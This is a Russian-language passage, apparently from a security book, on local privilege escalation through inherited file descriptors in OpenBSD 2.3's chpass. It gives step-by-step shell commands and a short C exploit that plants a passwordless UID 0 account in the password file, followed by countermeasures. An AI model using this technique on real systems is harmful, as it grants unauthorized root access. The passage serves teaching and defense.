Локальный доступ
Взлом с помощью дескриптора файла
Дескрипторы файлов (file descriptor) – это неотрицательные целые числа, которые используются системой для управления файлами. Дескрипторы позволяют облегчить работу операционной системы, устраняя необходимость манипуляции именами файлов. В соответствии с принятыми соглашениями, дескрипторы 0, 1 и 2 определяют стандартный входной поток, стандартный выходной поток и стандартный поток ошибок соответственно. Таким образом, когда функции ядра открывают существующий файл или создают новый, они возвращают определенный дескриптор, который может использоваться программой для выполнения над этим файлом операций чтения/записи. Если дескриптор соответствует файлу, который был открыт для чтения и записи (O_RDWR) привилегированным процессом, то во время модификации этого файла взломщик может получить к нему доступ и произвести в него запись. Таким образом, с помощью этого метода можно модифицировать один из важных системных файлов и получить доступ на уровне суперпользователя.
Достаточно неожиданно, что даже такая надежная система, как OpenBSD версии 2.3, была подвержена взлому с помощью дескриптора файла. Оливер Фридрихе (Oliver Friedrichs) установил, что команда chpass, применяемая для модификации некоторой информации, хранящейся в файле паролей, некорректно обрабатывала дескрипторы файлов. При запуске chpass создавался временный файл, который мог модифицировать любой пользователь с помощью какого-нибудь текстового редактора. Любые изменения снова заносились в базу данных паролей, как только пользователь закрывал редактор. К сожалению, если взломщик выполнял временный выход в командную оболочку, то порождался дочерний процесс, имеющий права доступа на чтение/запись дескрипторов файлов родительского процесса. Взломщику оставалось лишь модифицировать временный файл (/tmp/ptmp), созданный командой chpass, добавив в него учетную запись с UID 0 без пароля. Как только он, вернувшись в редактор, закрывал его, все изменения немедленно заносились в файл /etc/master.passwd. После этого для получения доступа в качестве суперпользователя взломщику оставалось лишь воспользоваться только что созданной учетной записью. Давайте посмотрим, как это можно выполнить на практике.
Сначала изменим используемый по умолчанию редактор на vi, поскольку во время работы он позволяет получить доступ к командной строке.
[dinky]$ export EDITOR=vi
Затем запускаем программу chpass.
[dinky]$ /usr/bin/chpass
Это, в свою очередь, приведет к запуску vi с открытием информации из базы данных текущего пользователя.
#Chanqing user database information for gk. Shell: /bin/sh Full Name: grk Location: Office Phone: Home Phone: blah
Теперь на время выйдем из редактора vi в командную оболочку, воспользовавшись для этого командой /sh.
Теперь только что запущенная командная оболочка имеет унаследованный доступ к дескриптору открытого файла. Воспользуемся описанным подходом и добавим в файл паролей учетную запись с UID 0.
[dinky]$ nohup./chpass & [1] 24619 $ sending output to nohup.out [1] + Done nohup./chpass [dinky]$ exit Press any key to continue [: to enter more ex commands]: /etc/pw.F26119: 6 lines, 117 characters. [dinky]$ su owned [dinky]# id uid=0(owned) gid=0(wheel) groups=0(wheel)
Как только мы воспользовались командой su и учетной записью owned, мы получили доступ на уровне суперпользователя. Весь описанный процесс можно воплотить всего лишь в нескольких строках кода.
int main () { FILE *f; int count; f = fdopen (FDTOUSE, "a"); for (count = 0; count!= 30000; count++) fprintf (f, "owned::0:0::0:0:OWNED,,,:/tmp:/bin/bash\n"); exit (0); }
Этот код предоставлен Марком Зелинским (Mark Zielinski).
Контрмеры: защита от взлома с помощью дескриптора файла
Разработчики программ, предназначенных для работы в контексте SUID, должны следить за корректностью распределения дескрипторов файлов. В частности, при системном вызове execve() необходимо устанавливать флаг close-on-exec. Как уже упоминалось выше, необходимо также сбросить бит SUID у всех программ, для которых его устанавливать необязательно.